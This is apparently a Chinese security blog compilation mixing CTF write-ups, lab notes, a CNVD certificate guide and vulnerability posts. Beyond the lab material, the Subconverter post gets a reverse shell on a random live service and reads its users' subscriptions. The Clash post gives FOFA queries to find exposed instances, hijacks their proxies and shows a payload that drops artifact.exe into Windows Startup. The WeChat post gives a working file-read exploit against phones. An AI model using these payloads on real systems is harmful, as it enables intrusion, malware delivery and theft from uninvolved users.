post提交了一个表单，没有明显的接口提示，那就直接看看controllers吧

没猜错，controllers控制着表单接收。如果经是验丰富的人看到这个正则匹配应该就知道肯定需要绕过了，但是我们还不清楚这个ERB对象是干嘛用的，再看看其他文件，也没发现有这个ERB类的定义，所以猜测应该是ruby自带的

搜了一下发现还真是，是个模板，而且还有个模板注入漏洞

发现ERB是Embedded RuBy的简称，意思是嵌入式的Ruby，是一种文本模板技术

网上提供了很多这个模板的注入方法，简单看了一下，读文件应该是长下面这样

<%= File.open('flag.txt').read %>

但是显然这应该不满足我们的正则匹配规则，怎么办呢？我看到了这篇文档

简单来说就是用^或者$，但是实测发现并不奏效，不过也当作是个知识点记录一下

怎么办呢？继续搜，发现了这个

是的，使用%0a或者\n换行就能绕过。拿我们前面的payload测试一下

1111%0a<%= File.open('/flag').read %>

这里有个坑要注意，如果上面这句payload直接在前端的输入框输入，就会被多次url编码，导致后端接收到的结果与预期不同，因此要将%,=等符号手动url编码后放置到数据包中进行发送

最终在数据包中的payload应该如下

neon=111%0a<%25%3d+File.open('/flag').read+%25>

有毒朋友

简单的文件包含与本地命令执行，下载附件后先看入口index.php

发现是读cookie，并且看到是被base64编码的，因此可以抓包下来看到serialize($page)的内容

在右侧已经被自动解码

继续看代码，跟进到PageModel

发现有一个文件包含的地方，并且可以通过控制刚刚cookie中的参数来达到访问不同的文件的效果。此时包含什么文件进来都会被当成php代码执行。而现在要找到能够查看并且可随着数据包而修改的文件内容的，第一个想起的就是服务器的日志文件。它会记录我们对服务器的访问请求。具体可以看我的这篇博客

所以可以通过修改User-Agent，从而达到让日志文件被写入php指令并执行的目的

这里要注意，得发送两次才能看到ls的结果，可以思考一下这是为什么

MISC

嘈杂

就像提示里说的那样，这里直接放exp

import numpy as np
from scipy.io.wavfile import read
from scipy.fft import dst
# 读取音频文件
final_waveform = read("encrypted.wav")
# 对音频信号进行离散余弦变换（DST）
result = dst(final_waveform[1])
# 从变换结果中选择幅度大于10^5的值
amplitudes = result[result > 10**5]
amplitudes.sort()
# 用于存储恢复的文本
recovered = ""
# 遍历选定的幅度值
for a in amplitudes:
# 找到幅度在变换结果中的位置
found = np.where(result == a)[0][0]
# 判断位置是否为奇数
if found % 2 == 1:
# 计算字符对应的ASCII码值
c = round(found / 20)
# 将ASCII码值缩小，直到在可打印字符范围内
while c > 128:
c //= 4
# 将字符添加到恢复的文本中
recovered += chr(c)
# 打印恢复的flag
print(recovered)

莫斯档案馆

[靶场笔记]第十一章

Tue, 12 Dec 2023 00:00:00 +0800

@在php curl中的作用

简单来说，就是当使用上面这个Curl方法时，使用@可以读取文件。因此在一些url参数中如果使用了这个方法（可以用是否是执行ping命令来判断），就可能存在LFI

preg_match()函数漏洞

在这个函数中，可以存在三个参数

preg_replace($pattern, $replacement, $subject)
作用：搜索subject中匹配pattern的部分， 以replacement的内容进行替换。
$pattern: 要搜索的模式，可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。

/e 可以修正符使该函数将replacement 参数当作 PHP 代码。例如

pat=/abc/e&rep=system("ls")&sub=abc

因为e在这里是作修饰符，因此abc必须用两个斜杠括起来（正则表达式）。

flask session伪造

flask session的构造方式是明文+SECRET_KEY+时间，因此伪造的关键在于获取SECRET_KEY。可以使用flask session manager工具进行伪造

/proc/self/…

这是一个特殊的目录，算是与linux内核的一个接口。如果是/proc/{pid}这样的目录，那么这个目录下的内容则是相应进程的运行信息。

有几个比较重要的文件，可以参考下图（原文）

PHP session反序化漏洞

可以看这篇博客，其实就是在生产环境中如果对php session的读取和存储方式不一致，就会导致格式上的差异，从而导致触发反序化漏洞

但仔细一想，在真实渗透环境中应该很少有程序员会在php.ini设置好的基础上再添加其他php session处理器了吧，就当学习一下

题目的名字

有时候，题目的名字就隐藏了这道题的poc，不信可以试试这题😂

不过还是记录一下深信服的EDR RCE吧深信服 EDR终端检测响应平台RCE漏洞代码分析

一个巧妙的变量覆盖

preg_match()绕过

%0a没被禁用的情况下，是可以起到绕过的作用的。不然就是用大量字符导致preg_match()崩溃输出false。这种方法适合用在判断语句如下的情况

if(!preg_match(...))

ereg的00截断

很早之前记录过这个函数，不过不能识别数组的特性会让其返回false。今天再补充一个特性，就是当这个函数读到%00就会截止返回null，可以用来应付下面这种情况

if(ereg(...)!==FALSE)

科学计数法

php的判断是支持科学计数法的，例如1e8，会被判断成三个字符，但是这个数字可比9999999大多了

2023TKKCTF——Write up

Mon, 11 Dec 2023 00:00:00 +0800

⚠：如果需要本次比赛源代码的可以私聊找我要。本篇wp主要面向观众是新成员，用语会比较口语化，如有不严谨的地方还请见谅

WEB

easy_SQL

拿到题第一步先审计代码，这里过滤只有一个clean函数，按照常规有两种解题思路

1.在查pass的地方绕过，在name后输入管理员账号即可。但问题就是，我们现在并没有管理员账号，因此没法通过这个方法定位到我们要查的地方。因此这个方法就先排除
2.、在name或pass里插入联合查询，以此来达到读库的目的。但实际操作种碰到问题不仅和上面第一种思路的问题有类似情况，而且还会出现单/双引号被clean过滤的情况

怎么办呢？我们先把query里的sql语句提取出来做一下研究

SELECT * FROM users WHERE name='".$username."' AND pass='".$password."';

假设我现在输入的username=admin，password=123，那么就是

SELECT * FROM users WHERE name='admin' AND pass='123';

这里我们先尝试把AND pass删掉，在username输入\

SELECT * FROM users WHERE name='admin\' AND pass='123';

为什么这样就叫把AND pass删掉呢？因为原本在admin后的引号被斜杠转义成了内容，丧失了原先用来“框住”字符串的功能，而这个功能已经被pass=后面的引号给替代。此时我们只要在password输入or 1=1 -- ，SQL语句变成

SELECT * FROM users WHERE name='admin\' AND pass='or 1=1 -- 123';

123';就会被注释掉，而这句语句where后面的条件因为or 1=1而100%成立，因此就会执行SELECT * FROM users，即可拿到flag。

这里有个细节需要注意，就是--后面是要带个空格的，一些浏览器会把URL中最后一个空格删掉，因此要手动补一个%20

时光密钥

PS：本题由于容器实例时间校对有错，因此判断登录用的时间戳比真实unix时间戳多了大约15秒。做出来的成员应该是运气比较好，多算了二十几秒就开始发包尝试

打开实例，根据提示，先算出合适的时间戳，再用burp抓包修改一下即可

在网上找到现在的时间戳

burp抓包

为了方便操作，我们把数据包发到repeater

更新一下时间戳，预估个比当前时间戳多20到25秒左右的时间放到password，不断点击send直至出现下面所示的cookie即可

根据所给提示里的博客可知，base64解码该cookie即可获得下面结果

将gift值后面的东西进行base32解码即可

[技术杂谈]水证书指南

Thu, 23 Nov 2023 00:00:00 +0800

01 CNVD证书获取条件

给没挖过洞的朋友们开个扫盲文

首先CNVD证书的发放条件，这个在官网都有可以自己去看。我下面截取部分主要的。

（1）对于中危及中危以上通用型漏洞（CVSS2.0基准评分超过4.0分）（除小厂商的产品、非重要APP、黑盒测试案例不满10起等不颁发证书）（注：大厂商的判断标准为（注册资金5000万以上，或者案例涉及省部级以上单位的））

（2）涉及电信行业单位（中国移动、中国联通、中国电信及中国铁塔公司）和中央部委级别(不含直属事业单位)的高危事件型漏洞，CNVD将给予原创漏洞证明（即CNVD漏洞证书，电子版），该证明可通过编号在CNVD官方网站进行查询跟踪。时限要求：按周对上一周归档漏洞且满足证书颁发条件的进行批量制作。（每周三或周四颁发证书）

02 寻找目标

如果是手上0洞的小白或者常年SRC低危选手，先不用把目光放在高大上的org、gov。先看看能不能捡什么漏。（经常看到有些师傅们能捡到弱口令之类的，我真怀疑他们就是这个厂商的开发，要不然这种弱口令哪轮得到他们来找。）老实点，先从安全之友爱企查开始好了。

1、首先，根据CNVD证书的颁发要求，我们最基本的肯定要找5000w注册资金的企业。

2、资本类型最好选rmb，外国企业做的软件国内用的肯定比较少

3、关键词可以搜索，“计算机”、“软件”等跟开发有关的关键词这样更容易命中

4、参保人数个人觉得想要卖的多的软件，低于100人的企业基本没这个水平，所以选人多点的吧。

5、有的时候搜出来的企业过多，导致达到爱企查导出上限，那么就细分一些行业和地区，减少搜索结果，分批导出。

有了企业接下来要去找互联网上部署的系统，自然要用到FOFA来查询，本着能白嫖就不自己动手的原则，github上随便搜了一下有很多项目，代码也都大差不差，拿来下改一改。把公司放到文件列表中。

修改的代码主要是两个地方

1、在通过fofa爬取公司软件的时候，需要注意爬出的系统至少要满足10个系统以上，因为即使有漏洞，如果不达到10个案例，按照CNVD的规则也是没有证书的。

2、fofa爬取的很多系统存在脏数据，例如菠菜之类的站点，需要将这部分脏数据去除。

最终爬出来的结果如下

格式以网站title + 公司名 + 例子站点URL组成

接下里就看个人的测试能力了，能不能找到一些中危或以上级别的漏洞了，不过我比较懒，先找找有没有通用RCE漏洞，例如Log4j、Fastjson等。直接搬出我的xray、xpoc、appscan、awvs、afrog、nmap扫一遍，运气比较好，扫到过几次。

还有一种就是通过fofa、hunter之类的测绘平台纯碰运气了

(title="管理系统" || title="管理平台") && body="版权所有" && title!="路由" && title!="YApi" && title!="防火墙" && title!="安装包" && country="CN" && server!="Microsoft" && host!="com" && host!="net" && host!="cn" && after="2020"

03 报告提交

关于发现漏洞的报告提交，因为我提交的只有通用漏洞，所以只分享一些通用漏洞的提交经验。

1、证明资产是5000w以上的资产，最好的方法就是爱企查、天眼查之类的平台截图证明。

2、如果涉及代码审计的最好给个代码链接，或者详细的代码审计过程

3、资产的查找指纹，最好给出来，这样审核也方便确认是不是10个以上的系统，例如 title=“xxxx”

4、至少有三个互联网复现的案例，这个千万不要偷懒，而且如果复习过程毕竟复杂，建议写详细点，毕竟如果驳回让你重写，那么你要等到重新审核，不知道是猴年马月了。

5、最后证书真的很慢，1-6个月都是正常的。

[漏洞分享]微信任意文件读取漏洞

Wed, 22 Nov 2023 00:00:00 +0800

漏洞描述

Libxslt 是基于 WebKit 的浏览器（如 Chrome、Safari 等）中使用的默认 XSL（eXtensible Stylesheet Language）库。Libxslt 允许通过 XSL 的 document() 方法加载的文档中包含外部实体。攻击者可以绕过安全限制，从 http(s):// URL 中访问 file:// URL，并获得文件访问权限。
在默认沙盒环境下，攻击者可以在 iOS（Safari/Chrome）、Mac（Safari/Chrome）、Android（Chrome）和Samsung TV（默认浏览器）上读取 /etc/hosts(主机)文件。当使用 -no-sandbox 属性时（Electron/PhantomJS），攻击者可以在任何操作系统上读取任何文件。（有趣的是，实测鸿蒙是唯一一个没被影响的系统）

而且微信自带的浏览器是没有开沙箱的，也就是说存在任意文件读取

漏洞复现

先来看看exp.php

<?php
header("Access-Control-Allow-Origin: *");
echo base64_decode("PD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3htbCIgaHJlZj0iaHR0cDovLzY0OG92OTJndGFtcDFyMHVuYmZ1aXE0djBtNmN1MS5idXJwY29sbGFib3JhdG9yLm5ldCI/Pgo8IURPQ1RZUEUgcCBbCjwhRU5USVRZIHBhc3N3ZCBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCI+CjwhRU5USVRZIGhvc3RzIFNZU1RFTSAiZmlsZTovLy9ldGMvaG9zdHMiPgo8IUVOVElUWSBncm91cCBTWVNURU0gImZpbGU6Ly9sb2NhbGhvc3QvZXRjL2dyb3VwIj4KCl0+IA==");
?>
<p>
<p style="border-style: dotted;">/etc/passwd: &passwd;
</p>
<p style="border-style: dotted;">/etc/hosts:
&hosts;
</p>
<p style="border-style: dotted;">/etc/group:
&group;
</p>
</p>

再新建一个 exp.svg 文件在 document引用加载刚才新建的文件exp.php

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<svg width="1000%" height="1000%" version="1.1" xmlns="http://www.w3.org/2000/svg">
<foreignObject class="node" font-size="18" width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml">
<xmp><xsl:copy-of select="document('exp.php')"/></xmp>
<script type="text/javascript">
</script>
</body>
</foreignObject>
</svg>
</xsl:template>
</xsl:stylesheet>

利用上述exp代码在本地搭建一个简单php web服务，在微信把链接发给别人，即可读取到别人手机上的/etc/passwd等敏感信息（下面测试环境是安卓8.0和IOS16.5，均为截至2023.11.22最新版微信）

[VulnHub]第五章

Sat, 28 Oct 2023 00:00:00 +0800

本期靶场：Hackable3 and Aragog and Me an My girlfriend

FTP服务的上传和下载功能

get是下载，put是上传。当你拥有ftp匿名服务时，就可以试试传一句话木马

wpscan

只要碰到wordpress，就扫一扫，反正也花不了多少时间。需要注意的是，一定要定义扫描插件还是主题漏洞。

linpeas.sh

这个工具可以枚举linux操作系统几乎所有的可提权项，甚至可以通过su暴力破解本地密码。一般用来辅助提权，列出有高权限的脚本或代码

pspy64

这个工具可以用于在不需要root权限的情况下窥探进程，获取UID

sudo提权

喜闻乐见的sudo提权，具体可以参考前面几章

X-Forwarded-For

如果当前页面告诉你只能在本地访问，那就加上它

平行越权

在url发现id后手痒都会想去试试看的改值，说不定会有意外收获

（好水的一章。。。不过能记录的确实只有这些）

[VulnHub]第四章

Thu, 26 Oct 2023 00:00:00 +0800

本章靶场：HarryPotter: Fawkes

FTP匿名登录

如果一台机器开启了FTP服务（例如vsftpd），那么第一步要尝试的就是能否进行匿名登录

FTP的匿名登录一般有三种：
1、 用户名：anonymous 密码：Email或者为空
2、 用户名：FTP 密码：FTP或者为空
3、 用户名：USER 密码：pass

二进制文件

当碰到一个二进制文件时，第一反应应该是去尝试运行它。使用ps -aux和grep对进程pid进行监控。或者使用ss -pantu获取socket信息，看到其监听的端口和ip

缓冲区溢出

缓冲区溢出（buffer overflow），是针对程序设计缺陷，向程序输入缓冲区写入使之溢出的内容（通常是超过缓冲区能保存的最大数据量的数据），从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。

而缓存区溢出漏洞最重要的就是找出缓存区溢出的位置，这里可以使用edb-debugger调试工具来动态测试进程，并找出缓存区溢出漏洞的溢出位置。更多有关缓冲区溢出的实验可以看这里

tcpdump

看下面这个例子

tcpdump -i eth0 port 21

可以用来监听eth0网卡的21端口的数据收发状况

sudo提权漏洞

网上有一堆教程，拿到用户后记得去搜一下sudo的CVE

[靶场笔记]第十章

Wed, 25 Oct 2023 00:00:00 +0800

return可直接执行十六进制

RT，如果放在return后面的语句是十六进制，就会先转换成可执行命令（maybe）

函数可运算

比如1-phpinfo()-1这种语法其实是允许的，返回的内容因为函数本身返回值是1，所以结果是-1。并且phpinfo()可被执行

create_function()创建匿名函数

流程如下

但是可能看起来比较不好懂，再来看下面这个

create_function()会创建一个匿名函数（lambda样式）

create_function()函数会在内部执行 eval()，我们发现是执行了后面的return语句，属于create_function()中的第二个参数string $code位置。

因此create_function函数等价于

<?php
function lambda1($a,$b){
return "ln($a) + ln($b) = " . log($a * $b);
}
?>

下面来看一个例子（[NISACTF 2022]level-up）

<?php
error_reporting(0);
include "str.php";
$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
show_source(__FILE__);
}
else{
$a('',$b);
}

构造payload的时候，注意正则匹配
preg_match('/^[a-z0-9_]*$/isD',$a，说明我们在构造payload的时候第一个字母不能为数字或者字母，所以我们需要绕过正则，这里要用\（转义符绕过，构造payload:

?a=\create_function&b=return 'Leaf';}phpinfo();/*

解释一下上面的payload：

\的作用是绕过正则匹配preg_match，第一个;是让return 语句结束(其实也可以不用谢这句return，直接写后面的花括号)，}的作用是让create_function语句闭合，然后执行phpinfo();后面要加/*是为了让最后的}被注释掉来保证phpinfo()正常执行

中文变量名

对于下面这样的过滤如果束手无策

if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code))

就可以考虑用中文名来命名变量。（可能你会觉得这很不可思议，但在php里确实是允许的）

payload如下

$哈="{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*

其中，"{{{"^"?<>/";的结果是_GET

tee

这个命令类似echo ... >，可以把...的内容写入到对应文本中。一般是配合管道使用，例如ls / |tee 1，作用就是把ls列出来的内容存入到1这个文件里。如果在进行网站敏感信息读取，访问1就能下载这个文件

php的类函数调用

php的类使用其实类似C++，比如ctf类中有个getflag函数，配合 call_user_func()或者eval()可以直接用

shell盲注

和SQL盲注类似，[awk](https://www.runoob.com/linux/linux-comm-awk.html)命令可以截取字符串，[cut](https://www.runoob.com/linux/linux-comm-cut.html)命令可以截取单个字符输出。结合shell编程里的if和sleep等命令就能判断正误。例如下面这样

[VulnHub]第三章

Tue, 24 Oct 2023 00:00:00 +0800

本章靶场：Prime: 1

FUZZ

用来用去感觉还是wfuzz好用，参数简洁明了。这个靶机下用到参数有下面这些

wpscan

wpscan的-e参数，可以用来枚举用户名

wordpress修改主题文件

一个意料之外又情理之中的功能，可以用来写一句话木马

防御办法：wp禁止主题编辑操作，通过在wp-config.php中，把define(‘DISALLOW_FILE_EDIT’,true)

MSF提权漏洞搜索

在拿到普通用户后，在msf中尝试searchsploit指令，后面加上系统的版本信息，就能找到提权漏洞的exp，编译后上传，再运行即可

[漏洞分析or分享]Subconverter订阅转换服务漏洞

Sat, 07 Oct 2023 00:00:00 +0800

漏洞在此之前已经被发现，更多有关漏洞细节可以自行分析该项目

相信能点进来的各位都是使用过订阅转换服务的。通过这类在线工具可以轻松地将v2ray的节点分享链接格式转换为clash使用的订阅链接，或者将clash的订阅格式转换为v2ray使用的节点分享链接，也有人用来转换机场提供的默认clash配置，日常使用的频率非常高。

但订阅转换节点存在的安全风险不仅是有可能被第三方转换服务在后台偷走你的节点信息，就算你使用的转换服务是由节点提供商提供的（节点提供商总不可能偷自己的节点），也存在被人盗取的风险，甚至连提供商自己都不知道。

漏洞描述

目前市面上主流的订阅转换服务，例如肥羊、品云、边缘等，使用的都是基于Subconverter项目搭建的。而目前Github上的Subconverter开源项目中最新的release仍然存在RCE漏洞。也就是说，不管转换服务用的是哪个版本，都有可能被黑客入侵，从而盗走所有人的节点信息。

漏洞复现

随便在网上找个订阅转换服务

一只看着很欠揍的狐狸，就你了

随便输入个符合格式的内容，跳转出后端订阅地址

复制，并加上/version

成功展示subconverter版本。不过subconverter目前最新版只有0.7.2，所以这个服务的老板应该是自己编译改的。不管他，继续。

在下面这些接口命令中尝试访问出配置文件内容（分别使用不同的接口）

# qx-script接口(0.7.2-be878e1后被删除)
/qx-script?url=cHJlZi50b21s
/qx-script?url=cHJlZi55bWw
/qx-script?url=cHJlZi5pbmk
# convert接口
/convert?url=pref.toml
/convert?url=pref.ini
/convert?url=pref.yml

这是由于路径穿越过滤不严谨导致配置文件内容泄露

可以看到暴露的token值为默认值password

来到配置文件最下面，看到缓存开启

好的，准备开始植入恶意指令。首先准备好木马

function parse(x){
os.exec(["sh","-c","bash -i >& /dev/tcp/{your_ip}/1880 0>&1"])
}

把{your_ip}换成你的vps ip，保存成一个txt后在这个目录下开个简单的http服务就行

再开个窗口把监听打开，准备接收反弹shell

在刚才的网址后面加上这一段，让订阅服务主动将准备好的木马读到缓存里

# 指令写入缓存目录
/sub?target=clash&url=http://{your_ip}/payload

接着把url参数后面的内容用md5加密，再放到下面这段链接里，用来触发我们的木马

/sub?target=clash&url=script:cache/{your_md5},1&token={token}

记得把{your_md5}和{token}改掉。token就是上面刚刚提到的那个

回车访问，在刚刚等待shell的窗口里就能拿到shell啦

运气不错，是个root。不过还有更刺激的，我们使用ls /etc/systemd/system查看一下他开启的服务

可以看到有个特征比较明显的sub，还有一个xui面板

之后就能用journal -fw sub看到所有在他的sub服务中转换过的订阅信息了。一览无余

漏洞分析

正在写….

漏洞修复

正在写….

[漏洞分享]Clash节点盗用与设备入侵

Wed, 04 Oct 2023 00:00:00 +0800

漏洞描述

Clash开发于Electron。Electron是GitHub开发的一个使用JavaScript、HTML和CSS构建桌面应用程序的开源框架。它通过使用Node.js和Chromium的渲染引擎完成跨平台的桌面GUI应用程序的开发，因此Electron拥有直接执行Node.js代码的能力，并且内置了Chromium内核，通过一个XSS漏洞就有可能导致远程代码执行的危害。

根据Clash官方文档的介绍（https://clash.gitbook.io/doc/restful-api），Clash存在一套RESTful API可以用于控制自身，能获取Clash中的一些信息，同时也能控制Clash内部的配置。

在公网中，有许多分配到公网ip的Clash设备暴露了自身的RESTful API端口，导致黑客能够直接使用clash dashboard知道其节点信息以及控制其代理端口，达到使用被害者设备代理翻墙的目的

同时，黑客也能利用以上拓补关系和较低版本Clash的历史漏洞（详见此issue：[Bug]: Remote Code Execution/远程代码执行 #3891），达到Getshell的目的

漏洞复现

在FOFA中使用下面语法对暴露的Clash API进行搜集

clash：https://fofa.info/result?qbase64=IntcImhlbGxvXCI6XCJjbGFzaFwifSI%3D
clash.meta：https://fofa.info/result?qbase64=IntcImhlbGxvXCI6XCJjbGFzaC5tZXRhXCJ9Ig%3D%3D
openclash：https://fofa.info/result?qbase64=cG9ydD0iOTA5MCIgJiYgYm9keT0ie1wibWVzc2FnZVwiOlwiVW5hdXRob3JpemVkXCJ9Ig%3D%3D

随机挑选，在Clash dashboard中导入拥有如下返回的IP地址和端口

即可看到该设备的节点信息

在设置中查看HTTP代理端口或混合代理端口信息

使用SwitchyOmega插件进行代理

即可访问Google

另外，如果想Getshell可以利用下面这段js代码

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Hack it！</title>
</head>
<body>
<div id="result"></div>
<script>
const data = {
payload: "mixed-port: 7890\nallow-lan: false\nmode: rule\nlog-level: warning\nproxy-groups: \n - name: 系统被入侵\n type: select\n use:\n - provider1\nproxy-providers:\n provider1:\n type: http\n url: 'http://192.168.2.5/artifact.exe'\n interval: 36000\n path: ../../AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/\n healthcheck:\n enable: false\n interval: 600\n url: http://www.gstatic.com/generate_204"
};
fetch('http://{yourip}:{yourport}/configs', {
method: 'PUT',
headers: {
'Content-type': 'application/json; charset=utf-8',
//'Authorization': 'Bearer 123456' //clash鉴权头部
},
body: JSON.stringify(data),
})
.then(response => {
if (response.status === 204) {
result.innerText = '入侵成功！';
} else {
response.json()
.then(jsonData => {
result.innerText = '入侵失败！' + JSON.stringify(jsonData);
})
}
})
.catch(error => {
result.innerText = '执行失败！' + error.message;
});
</script>
</body>
</html>

这段payload的作用是自动下载192.168.2.5提供的artifact.exe木马到Startup开机自启目录，这个操作将在clash重启或者切换节点时候执行。具体情况修改ip和端口即可。

[靶场笔记]第九章

Tue, 19 Sep 2023 00:00:00 +0800

trim()

这个函数可以过滤掉一些特殊符号，但是换页符\f不过滤。这个方法对is_numeric也有效

带 . 的变量名

php中有个特性就是如果传入[，它被转化为_之后，后面的字符就会被保留下来不会被替换。php中有个特性就是如果传入[，它被转化为_之后，后面的字符就会被保留下来不会被替换

先看看下面这个变量的传入

isset($_POST['CTF_SHOW.COM'])

这个变量如果按正常逻辑，应该传入CTF_SHOW.COM=1，但根据这个特性，就只能传入CTF[SHOW.COM=

自己构建传值方法

先看代码

include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\|\/|~|`|!|\@|#|\%|\^|*|-|+|=|{|}|\"|\'|\,|.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

这里介绍一种很特别的方法

highlight_file熟悉吧？但是这里没法传入flag，怎么办？看下面的payload就知道了

GET:?shell=flag.php
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[shell])

$_SERVER

$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。更多信息可以参考这里

上面那道题的代码可以通过下面payload绕过。

意思就是通过$_SERVER[‘argv’]将$a变成数组，利用数组这个“障眼法”，在eval处执行parse_str将fl0g=flag_give_me变成一条命令（变量），同时还绕过第一个if中的!isset($_GET[‘fl0g’]))，用+来进行分隔，使得数组中有多个数值。执行eval函数也就是执行$c即是parse_str($a[1])，使得fl0g=flag_give_me，从而进入第三个if语句。


GET：?a=1+fl0g=flag_give_me
POST：CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

或者

GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

$_SERVER[‘QUERY_STRING’]

‘QUERY_STRING’ 这一参数的作用是接收所有get数据。更多类似参数可以看这里

_()

_()是一个函数

_()==gettext() 是gettext()的拓展函数，开启text扩展。需要php扩展目录下有php_gettext.dll

get_defined_vars()

get_defined_vars 函数返回由所有已定义变量所组成的数组这样可以获得 $flag

stripos()

这个函数存在路径穿越漏洞，可以使用../..返回上级目录

正则表达式溢出

在php中正则表达式进行匹配有一定的限制，超过限制直接返回false

例如，在preg_replace函数的匹配规则种，被匹配的参数只要够大（25万个very就行），就能让这个函数强行输出false

变量覆盖绕过

先来看这段代码

if($F = @$_GET['F']){    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){        eval(substr($F,0,6));    }else{        die("6个字母都还不够呀?!");    }}

很明显是要我们读取flag.php的内容，但是F被substr过滤处理，所以需要一点特殊的方法来绕过

这里就直接放payload，可以使sleep被执行（这里的sleep是shell的sleep，不是php）

为什么这句payload可以被执行呢？首先，substr把

[靶场笔记]第八章

Mon, 28 Aug 2023 00:00:00 +0800

tab绕过

非常少见的一种绕过形式，看标题就知道怎么操作了吧，想必就不用多介绍了

变量覆盖

先来看看下面这题

include('flag.php');error_reporting(0);$error='你还想要flag嘛？';$suces='既然你想要那给你吧！';foreach($_GET as $key => $value){    if($key==='error'){        die("what are you doing?!");    }    $$key=$$value;}foreach($_POST as $key => $value){    if($value==='flag'){        die("what are you doing?!");    }    $$key=$$value;}if(!($_POST['flag']==$flag)){    die($error);}echo "your are good".$flag."\n";die($suces);

想拿到flag的方法无非就是利用die($error)和die($suces)这两个函数

先上分别利用到这两个函数的payload

方法一：
POST：error=a
GET：a=flag
方法二
GET：a=flag&flag=

方法一利用的是一次POST判断和一次GET判断，达到第三变量a传值的目的

而方法二则是利用两次GET传值进行变量覆盖，并且绕过了下面的if(!($_POST['flag']==$flag))

md5无法解析数组

RT，返回值均为null

parse_str()

把查询字符串解析到变量中。使用参考如下

传值的艺术

发现了一个十分微妙的地方，先来看看题目

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}

}
?>

这里有两种方法可以拿到flag，第一种是通过md5匹配，另一种是通过md5处理数组返回均为null这个特点，结合弱比较来进行

但当我在传值的时候发现了一个有趣的现象，直接看下面这些结果你就能看出端倪

#有flag
v1=flag=0cc175b9c0f1b6a831c399e269772661
v3=a
#无flag
v1="flag=0cc175b9c0f1b6a831c399e269772661"
v3=a
#有flag
v1="flag=0"
v3[]=1
#无flag
v1=flag=0
v3[]=1

根据后两条有无flag的结果，结合弱比较表可以推断，有加双引号的一组将flag值赋值为了数字型的0，而每加的赋值为了字符型的0

XUJC CTFer的专属学习路线

Sat, 26 Aug 2023 00:00:00 +0800

**⚠︎温馨提示：**本学习路线适合TKK网安宝宝体质，全程可0基础观看。也欢迎想更加了解网络安全竞赛的你们踊跃举手发问🙋，我在评论区等你们😊。

哈喽，相信在看这篇学习路线的你一定是对网络安全，或者说“黑客技术”有着的进一步学习的信心，想进一步了解关于网络安全竞赛的事宜

不论你之前对这方面的掌握有多少，是不是脚本小子，会不会编程语言，数学好不好，甚至有没有计算机基础，都不妨碍你在黑客的领域进一步探索与学习。

本篇学习路线分为两个部分，“简介“和”学习步骤”。如果你想了解特定领域的内容，可以点击目录辅助观看噢

CTF简介

什么是CTF？

CTF（Capture The Flag，夺旗赛）CTF 的前身是传统黑客之间的网络技术比拼游戏，起源于 1996 年第四届 DEFCON（世界黑客大会），以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。

CTF是一种流行的信息安全竞赛形式，其英文名可直译为“夺得Flag”，也可意译为“夺旗赛”。其大致流程是，参赛团队之间通过进行攻防对抗、程序分析等形式，率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容，并将其提交给主办方，从而夺得分数。为了方便称呼，我们把这样的内容称之为**“flag”**🚩。

flag所表示的为目标服务器上存储的一些敏感机密的信息, 这些信息正常情况下是不能对外暴露的。选手利用目标的一些漏洞，获取到flag，其表示的即为在真实的黑客攻击中窃取到的机密信息。

一般情况下flag拥有固定格式为flag{xxxxx}，有些比赛会把flag关键词替换，例如我们XUJC Lab平台的flag为xujc{xxxxx}，利用固定格式来反推flag也是一种常见的解题思路

👀正常情况下，一场比赛中每支队伍人数为3到5人不定，每个人负责不同方向的题目（详细请往下看）。由于团队成员有各自不同方向的题目分配，因此就不存在一些其他比赛常见的”一人不会，队友带飞“的雷人场面。

🧑‍💻对于一个专业的黑客来说，拥有CTF经验是必不可少的。参加各大CTF赛事能够让你更加灵活地适应各类实战环境。而CTF考验最多的则是对一些从未被发现过的漏洞的挖掘，是最真实的黑客攻击过程。

CTF比赛的内容是什么？

和ACM的单一算法题不同，传统CTF比赛中有分为多种不同方向的题目。一般有web，pwn，reverse，misc和crypto等方向，近些年来又加入了诸如osint，Android，blockchain，AI等新方向。下面就让我们一一介绍

🌏web

Web类题目大部分情况下和网络相关技能有关。主要考察选手对于网络攻防的一些知识技巧。诸如SQL注入、信息伪造、远程恶意代码执行、漏洞挖掘等等常见网络攻击手段。一般情况下Web题目会给出一个能够访问的网址，然后要求对其进行攻击。部分题目会给出网站源代码供漏洞挖掘。

实战案例：网站入侵，内网渗透

建议：适合喜欢研究网络有关的成员学习，也适合当作CTF入门方向

🔧pwn

